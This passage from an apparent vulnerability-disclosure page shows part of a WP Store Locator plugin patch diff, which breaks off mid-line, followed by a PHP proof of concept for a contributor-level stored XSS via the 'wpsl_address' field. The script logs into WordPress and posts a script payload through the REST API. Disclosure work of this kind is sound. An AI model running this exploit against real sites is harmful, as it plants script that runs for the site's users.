-                    '<a href="https://wpstorelocator.co/add-ons/" title="View Add-Ons">'. __( 'Add-Ons', 'wpsl' ).'</a>'
+                    '<a href="https://wpstorelocator.co/documentation/" title="View Documentation">'. __( 'Documentation', 'wp-store-locator' ).'</a>',
+                    '<a href="https://wpstorelocator.co/add-ons/" title="View Add-Ons">'. __( 'Add-Ons', 'wp-store-locator' ).'</a>'
                 );

                 $links = array_merge( $links, $new_links );
@@ -568,7 +597,8 @@

             // Only modify the footer text if we are on the settings page of the wp store locator.
             if ( isset( $current_screen->id ) && $current_screen->id == 'wpsl_stores_page_wpsl_settings' ) {
-                $text = sprintf( __( 'If you like this plugin please leave us a %s5 star%s rating.', 'wpsl' ), '<a href="https://wordpress.org/support/view/plugin-reviews/wp-store-locator?filter=5#postform" target="_blank"><strong>', '</strong></a>' );
+                /* translators: %1$s: opening link and strong tag, %2$s: closing strong and link tag */
+                $text = sprintf( __( 'If you like this plugin please leave us a %1$s5 star%2$s rating.', 'wp-store-locator' ), '<a href="https://wordpress.org/support/view/plugin-reviews/wp-store-locator?filter=5#postform" target="_blank"><strong>', '</strong></a>' );
             }

             return $text;
--- a/wp-store-locator/admin/class-block.php
+++ b/wp-store-locator/admin/class-block.php
@@ -0,0 +1,273 @@
+<?php
+/**
+ * Gutenberg Block class
+ *
+ * @author Tijmen Smit
+ * @since  2.3.0
+ */
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+if ( ! class_exists( 'WPSL_Block' ) ) {
+
+    /**
+     * Handle the WPSL Gutenberg block
+     *
+     * @since 2.3.0
+     */
+    class WPSL_Block {
+
+        /**
+         * Constructor
+         */
+        public function __construct() {
+            add_action( 'init', array( $this, 'register_block' ) );
+            add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
+            add_filter( 'block_categories_all', array( $this, 'register_block_category' ), 10, 2 );
+        }
+
+        /**
+         * Register custom block category for WPSL blocks.
+         *
+         * @since  2.3.0
+         * @param  array  $categories Existing block categories.
+         * @param  object $post       Current post object.
+         * @return array  Modified block categories.
+         */
+        public function register_block_category( $categories, $post ) {
+            return array_merge(
+                $categories,
+                array(
+                    array(
+                        'slug'  => 'wpsl',
+                        'title' => __( 'WP Store Locator', 'wp-store-locator' ),
+                        'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 572 1000" width="24" height="24"><path d="M286 0C128 0 0 128 0 286c0 41 12 81 18 100l204 432c9 18 26 29 26 29s11 11 38 11 37-11 37-11 18-11 27-29l203-432c6-19 18-59 18-100C571 128 443 0 286 0zm0 429c-79 0-143-64-143-143s64-143 143-143 143 64 143 143-64 143-143 143z"/></svg>',
+                    ),
+                )
+            );
+        }
+
+        /**
+         * Register the Gutenberg block.
+         *
+         * @since  2.3.0
+         * @return void
+         */
+        public function register_block() {
+
+            register_block_type( WPSL_PLUGIN_DIR . 'admin/blocks/wpsl-block', array(
+                'render_callback' => array( $this, 'render_block' ),
+            ) );
+
+            register_block_type( WPSL_PLUGIN_DIR . 'admin/blocks/wpsl-map-block', array(
+                'render_callback' => array( $this, 'render_map_block' ),
+            ) );
+        }
+
+        /**
+         * Server-side render callback for the block.
+         *
+         * Builds the [wpsl] shortcode from block attributes and returns the output.
+         *
+         * @since  2.3.0
+         * @param  array  $attributes Block attributes.
+         * @return string The rendered shortcode output.
+         */
+        public function render_block( $attributes ) {
+
+            $shortcode_atts = '';
+
+            if ( ! empty( $attributes['template'] ) ) {
+                $shortcode_atts .= ' template="' . esc_attr( $attributes['template'] ) . '"';
+            }
+
+            if ( ! empty( $attributes['start_location'] ) ) {
+                $shortcode_atts .= ' start_location="' . esc_attr( $attributes['start_location'] ) . '"';
+            }
+
+            if ( $attributes['auto_locate'] === 'true' || $attributes['auto_locate'] === 'false' ) {
+                $shortcode_atts .= ' auto_locate="' . esc_attr( $attributes['auto_locate'] ) . '"';
+            }
+
+            $has_category_restriction = ! empty( $attributes['category'] ) && is_array( $attributes['category'] );
+
+            if ( $has_category_restriction ) {
+                $shortcode_atts .= ' category="' . esc_attr( implode( ',', $attributes['category'] ) ) . '"';
+            }
+
+            if ( ! $has_category_restriction && ! empty( $attributes['category_filter_type'] ) ) {
+                $shortcode_atts .= ' category_filter_type="' . esc_attr( $attributes['category_filter_type'] ) . '"';
+            }
+
+            if ( ! $has_category_restriction && ! empty( $attributes['category_selection'] ) ) {
+                $shortcode_atts .= ' category_selection="' . esc_attr( $attributes['category_selection'] ) . '"';
+            }
+
+            if ( ! $has_category_restriction && $attributes['category_filter_type'] === 'checkboxes' && ! empty( $attributes['checkbox_columns'] ) ) {
+                $shortcode_atts .= ' checkbox_columns="' . esc_attr( $attributes['checkbox_columns'] ) . '"';
+            }
+
+            if ( ! empty( $attributes['map_type'] ) ) {
+                $shortcode_atts .= ' map_type="' . esc_attr( $attributes['map_type'] ) . '"';
+            }
+
+            if ( ! empty( $attributes['start_marker'] ) ) {
+                $shortcode_atts .= ' start_marker="' . esc_attr( $attributes['start_marker'] ) . '"';
+            }
+
+            if ( ! empty( $attributes['store_marker'] ) ) {
+                $shortcode_atts .= ' store_marker="' . esc_attr( $attributes['store_marker'] ) . '"';
+            }
+
+            return do_shortcode( '[wpsl' . $shortcode_atts . ']' );
+        }
+
+        /**
+         * Server-side render callback for the map block.
+         *
+         * Builds the [wpsl_map] shortcode from block attributes and returns the output.
+         *
+         * @since  2.3.0
+         * @param  array  $attributes Block attributes.
+         * @return string The rendered shortcode output.
+         */
+        public function render_map_block( $attributes ) {
+
+            $shortcode_atts = '';
+
+            if ( ! empty( $attributes['id'] ) ) {
+                $shortcode_atts .= ' id="' . esc_attr( $attributes['id'] ) . '"';
+            }
+
+            if ( ! empty( $attributes['category'] ) && is_array( $attributes['category'] ) ) {
+                $shortcode_atts .= ' category="' . esc_attr( implode( ',', $attributes['category'] ) ) . '"';
+            }
+
+            if ( ! empty( $attributes['width'] ) ) {
+                $shortcode_atts .= ' width="' . esc_attr( $attributes['width'] ) . '"';
+            }
+
+            if ( ! empty( $attributes['height'] ) ) {
+                $shortcode_atts .= ' height="' . esc_attr( $attributes['height'] ) . '"';
+            }
+
+            if ( ! empty( $attributes['zoom'] ) ) {
+                $shortcode_atts .= ' zoom="' . esc_attr( $attributes['zoom'] ) . '"';
+            }
+
+            if ( ! empty( $attributes['map_type'] ) ) {
+                $shortcode_atts .= ' map_type="' . esc_attr( $attributes['map_type'] ) . '"';
+            }
+
+            if ( $attributes['map_type_control'] !== '' ) {
+                $shortcode_atts .= ' map_type_control="' . esc_attr( $attributes['map_type_control'] ) . '"';
+            }
+
+            if ( ! empty( $attributes['map_style'] ) ) {
+                $shortcode_atts .= ' map_style="' . esc_attr( $attributes['map_style'] ) . '"';
+            }
+
+            if ( $attributes['street_view'] !== '' ) {
+                $shortcode_atts .= ' street_view="' . esc_attr( $attributes['street_view'] ) . '"';
+            }
+
+            if ( $attributes['scrollwheel'] !== '' ) {
+                $shortcode_atts .= ' scrollwheel="' . esc_attr( $attributes['scrollwheel'] ) . '"';
+            }
+
+            if ( ! empty( $attributes['control_position'] ) ) {
+                $shortcode_atts .= ' control_position="' . esc_attr( $attributes['control_position'] ) . '"';
+            }
+
+            return do_shortcode( '[wpsl_map' . $shortcode_atts . ']' );
+        }
+
+        /**
+         * Register REST API routes for block data.
+         *
+         * @since  2.3.0
+         * @return void
+         */
+        public function register_rest_routes() {
+
+            register_rest_route( 'wpsl/v1', '/block-data', array(
+                'methods'             => 'GET',
+                'callback'            => array( $this, 'get_block_data' ),
+                'permission_callback' => function() {
+                    return current_user_can( 'edit_posts' );
+                },
+            ) );
+        }
+
+        /**
+         * Return the data needed by the block editor.
+         *
+         * Includes templates, map types, categories, and marker images.
+         *
+         * @since  2.3.0
+         * @return WP_REST_Response
+         */
+        public function get_block_data() {
+
+            // Templates
+            $templates     = wpsl_get_templates();
+            $template_data = array();
+
+            foreach ( $templates as $template ) {
+                $template_data[] = array(
+                    'id'   => isset( $template['id'] ) ? $template['id'] : '',
+                    'name' => isset( $template['name'] ) ? $template['name'] : '',
+                );
+            }
+
+            // Map types
+            $map_types = wpsl_get_map_types();
+
+            // Categories
+            $terms         = get_terms( array(
+                'taxonomy'   => 'wpsl_store_category',
+                'hide_empty' => false,
+            ) );
+            $category_data = array();
+
+            if ( ! is_wp_error( $terms ) && $terms ) {
+                foreach ( $terms as $term ) {
+                    $category_data[] = array(
+                        'slug' => $term->slug,
+                        'name' => $term->name,
+                    );
+                }
+            }
+
+            // Markers
+            $marker_dir = apply_filters( 'wpsl_admin_marker_dir', WPSL_PLUGIN_DIR . 'img/markers/' );
+            $marker_url = ( defined( 'WPSL_MARKER_URI' ) ) ? WPSL_MARKER_URI : WPSL_URL . 'img/markers/';
+            $markers    = array();
+
+            if ( is_dir( $marker_dir ) ) {
+                if ( $dh = opendir( $marker_dir ) ) {
+                    while ( false !== ( $file = readdir( $dh ) ) ) {
+                        if ( $file === '.' || $file === '..' || strpos( $file, '2x' ) !== false ) {
+                            continue;
+                        }
+
+                        $markers[] = $file;
+                    }
+
+                    closedir( $dh );
+                    sort( $markers );
+                }
+            }
+
+            return rest_ensure_response( array(
+                'templates'  => $template_data,
+                'map_types'  => $map_types,
+                'categories' => $category_data,
+                'markers'    => $markers,
+                'marker_url' => $marker_url,
+            ) );
+        }
+    }
+
+    new WPSL_Block();
+}
--- a/wp-store-locator/admin/class-exit-survey.php
+++ b/wp-store-locator/admin/class-exit-survey.php
@@ -35,12 +35,12 @@
          */
         public function deactivate() {

-            if ( empty( $_REQUEST['wpsl_nonce'] ) || ! wp_verify_nonce( $_REQUEST['wpsl_nonce'], 'wpsl_survey_nonce' ) ) {
+            if ( empty( $_REQUEST['wpsl_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['wpsl_nonce'] ) ), 'wpsl_survey_nonce' ) ) {
                 return;
             }

-            $reason   = ( isset( $_REQUEST['wpsl_deactivation_reason'] ) ) ? $_REQUEST['wpsl_deactivation_reason'] : '';
-            $feedback = ( isset( $_REQUEST['wpsl_deactivation_feedback'] ) ) ? $_REQUEST['wpsl_deactivation_feedback'] : '';
+            $reason   = ( isset( $_REQUEST['wpsl_deactivation_reason'] ) ) ? sanitize_text_field( wp_unslash( $_REQUEST['wpsl_deactivation_reason'] ) ) : '';
+            $feedback = ( isset( $_REQUEST['wpsl_deactivation_feedback'] ) ) ? sanitize_textarea_field( wp_unslash( $_REQUEST['wpsl_deactivation_feedback'] ) ) : '';

             if ( $reason ) {
                 $args = array(
--- a/wp-store-locator/admin/class-geocode.php
+++ b/wp-store-locator/admin/class-geocode.php
@@ -77,16 +77,18 @@

                         return $location_data;
                     case 'ZERO_RESULTS':
-                        $msg = __( 'The Google Geocoding API returned no results for the supplied address. Please change the address and try again.', 'wpsl' );
+                        $msg = __( 'The Google Geocoding API returned no results for the supplied address. Please change the address and try again.', 'wp-store-locator' );
                         break;
                     case 'OVER_QUERY_LIMIT':
-                        $msg = sprintf( __( 'You have reached the daily allowed geocoding limit, you can read more %shere%s.', 'wpsl' ), '<a target="_blank" href="https://developers.google.com/maps/documentation/geocoding/#Limits">', '</a>' );
+                        /* translators: %1$s: opening link tag, %2$s: closing link tag */
+                        $msg = sprintf( __( 'You have reached the daily allowed geocoding limit, you can read more %1$shere%2$s.', 'wp-store-locator' ), '<a target="_blank" href="https://developers.google.com/maps/documentation/geocoding/#Limits">', '</a>' );
                         break;
                     case 'REQUEST_DENIED':
-                        $msg = sprintf( __( 'The Google Geocoding API returned REQUEST_DENIED. %s', 'wpsl' ), $this->check_geocode_error_msg( $geocode_response ) );
+                        /* translators: %s: error details */
+                        $msg = sprintf( __( 'The Google Geocoding API returned REQUEST_DENIED. %s', 'wp-store-locator' ), $this->check_geocode_error_msg( $geocode_response ) );
                         break;
                     default:
-                        $msg = __( 'The Google Geocoding API failed to return valid data, please try again later.', 'wpsl' );
+                        $msg = __( 'The Google Geocoding API failed to return valid data, please try again later.', 'wp-store-locator' );
                         break;
                 }
             } else {
@@ -114,9 +116,11 @@

                 // If the problem is IP based, then show a different error msg.
                 if ( strpos( $geocode_response['error_message'], 'IP' ) !== false  ) {
-                    $error_msg = sprintf( __( '%sError message: %s. %s Make sure the IP address mentioned in the error matches with the IP set as the %sreferrer%s for the server API key in the %sGoogle API Console%s.', 'wpsl' ), $breaks, $this->clickable_error_links( $geocode_response['error_message'] ), $breaks, '<a href="https://wpstorelocator.co/document/create-google-api-keys/#server-key-referrer">', '</a>', '<a href="https://console.developers.google.com">', '</a>' );
+                    /* translators: %1$s: line break, %2$s: error message, %3$s: line break, %4$s: opening referrer link tag, %5$s: closing link tag, %6$s: opening console link tag, %7$s: closing link tag */
+                    $error_msg = sprintf( __( '%1$sError message: %2$s. %3$s Make sure the IP address mentioned in the error matches with the IP set as the %4$sreferrer%5$s for the server API key in the %6$sGoogle API Console%7$s.', 'wp-store-locator' ), $breaks, $this->clickable_error_links( $geocode_response['error_message'] ), $breaks, '<a href="https://wpstorelocator.co/document/create-google-api-keys/#server-key-referrer">', '</a>', '<a href="https://console.developers.google.com">', '</a>' );
                 } else {
-                    $error_msg = sprintf( __( '%sError message: %s %s Check if your issue is covered in the %stroubleshooting%s section, if not, then please open a %ssupport ticket%s.', 'wpsl' ),  $breaks, $this->clickable_error_links( $geocode_response['error_message'] ), $breaks, '<a href="https://wpstorelocator.co/document/create-google-api-keys/#troubleshooting">', '</a>', '<a href="https://wpstorelocator.co/support/">', '</a>' );
+                    /* translators: %1$s: line break, %2$s: error message, %3$s: line break, %4$s: opening troubleshooting link tag, %5$s: closing link tag, %6$s: opening support link tag, %7$s: closing link tag */
+                    $error_msg = sprintf( __( '%1$sError message: %2$s %3$s Check if your issue is covered in the %4$stroubleshooting%5$s section, if not, then please open a %6$ssupport ticket%7$s.', 'wp-store-locator' ),  $breaks, $this->clickable_error_links( $geocode_response['error_message'] ), $breaks, '<a href="https://wpstorelocator.co/document/create-google-api-keys/#troubleshooting">', '</a>', '<a href="https://wpstorelocator.co/support/">', '</a>' );
                 }
             } else {
                 $error_msg = '';
@@ -138,21 +142,28 @@
             $response = wpsl_call_geocode_api( $address );

             if ( is_wp_error( $response ) ) {
-                $geo_response = sprintf( __( 'Something went wrong connecting to the Google Geocode API: %s %s Please try again later.', 'wpsl' ), $response->get_error_message(), '<br><br>' );
+                /* translators: %1$s: error message, %2$s: line break */
+                $geo_response = sprintf( __( 'Something went wrong connecting to the Google Geocode API: %1$s %2$s Please try again later.', 'wp-store-locator' ), $response->get_error_message(), '<br><br>' );
             } else if ( $response['response']['code'] == 500 ) {
-                $geo_response = sprintf( __( 'The Google Geocode API reported the following problem: error %s %s %s Please try again later.', 'wpsl' ), $response['response']['code'], $response['response']['message'], '<br><br>' );
+                /* translators: %1$s: error code, %2$s: error message, %3$s: line break */
+                $geo_response = sprintf( __( 'The Google Geocode API reported the following problem: error %1$s %2$s %3$s Please try again later.', 'wp-store-locator' ), $response['response']['code'], $response['response']['message'], '<br><br>' );
             } else if ( $response['response']['code'] == 400 ) {
+                $data_issue = '';

                 // Check on which page the 400 error was triggered, and based on that adjust the msg.
-                if ( isset( $_GET['page'] ) && $_GET['page'] == 'wpsl_csv' ) {
-                    $data_issue = sprintf( __( 'You can fix this by making sure the CSV file uses %sUTF-8 encoding%s.', 'wpsl' ), '<a href="https://wpstorelocator.co/document/csv-manager/#utf8">', '</a>' );
+                // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Only checking which admin page we're on, not processing form data
+                if ( isset( $_GET['page'] ) && sanitize_text_field( wp_unslash( $_GET['page'] ) ) == 'wpsl_csv' ) {
+                    /* translators: %1$s: opening link tag, %2$s: closing link tag */
+                    $data_issue = sprintf( __( 'You can fix this by making sure the CSV file uses %1$sUTF-8 encoding%2$s.', 'wp-store-locator' ), '<a href="https://wpstorelocator.co/document/csv-manager/#utf8">', '</a>' );
                 } else if ( !$address ) {
-                    $data_issue = __( 'You need to provide the details for either the address, city, state or country before the API can return coordinates.', 'wpsl' ); // this is only possible if the required fields are disabled with custom code.
+                    $data_issue = __( 'You need to provide the details for either the address, city, state or country before the API can return coordinates.', 'wp-store-locator' ); // this is only possible if the required fields are disabled with custom code.
                 }

-                $geo_response = sprintf( __( 'The Google Geocode API reported the following problem: error %s %s %s %s', 'wpsl' ), $response['response']['code'], $response['response']['message'], '<br><br>', $data_issue );
+                /* translators: %1$s: error code, %2$s: error message, %3$s: line break, %4$s: additional data issue message */
+                $geo_response = sprintf( __( 'The Google Geocode API reported the following problem: error %1$s %2$s %3$s %4$s', 'wp-store-locator' ), $response['response']['code'], $response['response']['message'], '<br><br>', $data_issue );
             } else if ( $response['response']['code'] != 200 ) {
-                $geo_response = sprintf( __( 'The Google Geocode API reported the following problem: error %s %s %s Please contact %ssupport%s if the problem persists.', 'wpsl' ), $response['response']['code'], $response['response']['message'], '<br><br>', '<a href="https://wpstorelocator.co/support/">', '</a>' );
+                /* translators: %1$s: error code, %2$s: error message, %3$s: line break, %4$s: opening support link tag, %5$s: closing link tag */
+                $geo_response = sprintf( __( 'The Google Geocode API reported the following problem: error %1$s %2$s %3$s Please contact %4$ssupport%5$s if the problem persists.', 'wp-store-locator' ), $response['response']['code'], $response['response']['message'], '<br><br>', '<a href="https://wpstorelocator.co/support/">', '</a>' );
             } else {
                 $geo_response = json_decode( $response['body'], true );
             }
--- a/wp-store-locator/admin/class-license-manager.php
+++ b/wp-store-locator/admin/class-license-manager.php
@@ -124,7 +124,8 @@
 			return;
 		}

-        $license = sanitize_text_field( $_POST['wpsl_licenses'][ $this->item_shortname ] );
+        // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce verification is done in process_license_form() before this method is called
+        $license = isset( $_POST['wpsl_licenses'][ $this->item_shortname ] ) ? sanitize_text_field( wp_unslash( $_POST['wpsl_licenses'][ $this->item_shortname ] ) ) : '';

 		// data to send in our API request.
 		$api_params = array(
@@ -180,7 +181,8 @@

                 $this->set_license_notice( $this->item_name . ' license deactivated.', 'updated' );
             } else {
-                $message = sprintf (__( 'The %s license failed to deactivate, please try again later or contact support!', 'wpsl' ), $this->item_name );
+                /* translators: %s: add-on name */
+                $message = sprintf (__( 'The %s license failed to deactivate, please try again later or contact support!', 'wp-store-locator' ), $this->item_name );
                 $this->set_license_notice( $message, 'error' );
             }
         }
@@ -206,7 +208,7 @@

 		// Make sure the response came back okay.
 		if ( is_wp_error( $response ) ) {
-            $message = $response->get_error_message() . '. ' . __( 'Please try again later!', 'wpsl' );
+            $message = $response->get_error_message() . '. ' . __( 'Please try again later!', 'wp-store-locator' );
             $this->set_license_notice( $message, 'error' );
         } else {
             $license_data = json_decode( wp_remote_retrieve_body( $response ) );
@@ -254,16 +256,20 @@

         switch ( $activation_errors ) {
             case 'item_name_mismatch':
-                $error_msg = sprintf( __( 'The %s license key does not belong to this add-on.', 'wpsl' ), $this->item_name );
+                /* translators: %s: add-on name */
+                $error_msg = sprintf( __( 'The %s license key does not belong to this add-on.', 'wp-store-locator' ), $this->item_name );
                 break;
             case 'no_activations_left':
-                $error_msg = sprintf( __( 'The %s license key does not have any activations left.', 'wpsl' ), $this->item_name );
+                /* translators: %s: add-on name */
+                $error_msg = sprintf( __( 'The %s license key does not have any activations left.', 'wp-store-locator' ), $this->item_name );
                 break;
             case 'expired':
-                $error_msg = sprintf( __( 'The %s license key is expired. Please renew it.', 'wpsl' ), $this->item_name );
+                /* translators: %s: add-on name */
+                $error_msg = sprintf( __( 'The %s license key is expired. Please renew it.', 'wp-store-locator' ), $this->item_name );
                 break;
             default:
-                $error_msg = sprintf( __( 'There was a problem activating the license key for the %s, please try again or contact support. Error code: %s', 'wpsl' ), $this->item_name, $activation_errors );
+                /* translators: %1$s: add-on name, %2$s: error code */
+                $error_msg = sprintf( __( 'There was a problem activating the license key for the %1$s, please try again or contact support. Error code: %2$s', 'wp-store-locator' ), $this->item_name, $activation_errors );
                 break;
         }

--- a/wp-store-locator/admin/class-metaboxes.php
+++ b/wp-store-locator/admin/class-metaboxes.php
@@ -17,6 +17,8 @@
      */
     class WPSL_Metaboxes {

+        private $store_data = array();
+
         public function __construct() {
             add_action( 'add_meta_boxes',        array( $this, 'add_meta_boxes' ) );
             add_action( 'save_post',             array( $this, 'save_post' ) );
@@ -33,13 +35,13 @@

             global $pagenow;

-            add_meta_box( 'wpsl-store-details', __( 'Store Details', 'wpsl' ), array( $this, 'create_meta_fields' ), 'wpsl_stores', 'normal', 'high' );
-            add_meta_box( 'wpsl-map-preview', __( 'Store Map', 'wpsl' ), array( $this, 'map_preview' ), 'wpsl_stores', 'side' );
+            add_meta_box( 'wpsl-store-details', __( 'Store Details', 'wp-store-locator' ), array( $this, 'create_meta_fields' ), 'wpsl_stores', 'normal', 'high' );
+            add_meta_box( 'wpsl-map-preview', __( 'Store Map', 'wp-store-locator' ), array( $this, 'map_preview' ), 'wpsl_stores', 'side' );

             $enable_option = apply_filters( 'wpsl_enable_export_option', true );

             if ( $enable_option && $pagenow == 'post.php' ) {
-                add_meta_box( 'wpsl-data-export', __( 'Export', 'wpsl' ), array( $this, 'export_data' ), 'wpsl_stores', 'side', 'low' );
+                add_meta_box( 'wpsl-data-export', __( 'Export', 'wp-store-locator' ), array( $this, 'export_data' ), 'wpsl_stores', 'side', 'low' );
             }
         }

@@ -54,56 +56,56 @@
             global $wpsl_settings;

             $meta_fields = array(
-                __( 'Location', 'wpsl' ) => array(
+                __( 'Location', 'wp-store-locator' ) => array(
                     'address' => array(
-                        'label'    => __( 'Address', 'wpsl' ),
+                        'label'    => __( 'Address', 'wp-store-locator' ),
                         'required' => true
                     ),
                     'address2' => array(
-                        'label' => __( 'Address 2', 'wpsl' )
+                        'label' => __( 'Address 2', 'wp-store-locator' )
                     ),
                     'city' => array(
-                        'label'    => __( 'City', 'wpsl' ),
+                        'label'    => __( 'City', 'wp-store-locator' ),
                         'required' => true
                     ),
                     'state' => array(
-                        'label' => __( 'State', 'wpsl' )
+                        'label' => __( 'State', 'wp-store-locator' )
                     ),
                     'zip' => array(
-                        'label' => __( 'Zip Code', 'wpsl' )
+                        'label' => __( 'Zip Code', 'wp-store-locator' )
                     ),
                     'country' => array(
-  

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3361 - WP Store Locator <= 2.2.261 - Authenticated (Contributor+) Stored XSS via 'wpsl_address' Post Meta

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'contributor';          // Authenticated user with contributor role or higher
$password = 'password';             // User password

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

// Check if login was successful (wordpress_logged_in cookie should be set)
// Ideally, check for a successful login indicator

// Step 2: Get the admin ajax nonce for post creation
$admin_url = $target_url . '/wp-admin/admin-ajax.php';
$nonce_action = 'wp_ajax_wpsl_validate_server_key'; // Example AJAX action, adjust as needed

// For this PoC, we directly create a new 'wpsl_stores' post via the REST API (or admin-ajax)
// The vulnerability is in the post meta. We use WordPress REST API to create a store post.

// Step 3: Create the malicious store post
$rest_url = $target_url . '/wp-json/wp/v2/wpsl_stores';
$payload = array(
    'title' => 'Atomic Edge Test Store',
    'status' => 'publish', // Contributor cannot publish, but can create draft; adjust privilege
    'meta' => array(
        'wpsl_address' => '<script>alert("Atomic Edge XSS Test");</script>'
    )
);

$json_payload = json_encode($payload);

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Content-Length: ' . strlen($json_payload)
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);

if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 201) {
    echo "[+] Store created successfully. Map marker info window will execute XSS when clicked.n";
    $post_data = json_decode($response, true);
    echo "[+] Post ID: " . $post_data['id'] . "n";
} else {
    echo "[-] Failed to create store post. Check error response below:n";
    echo $response;
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School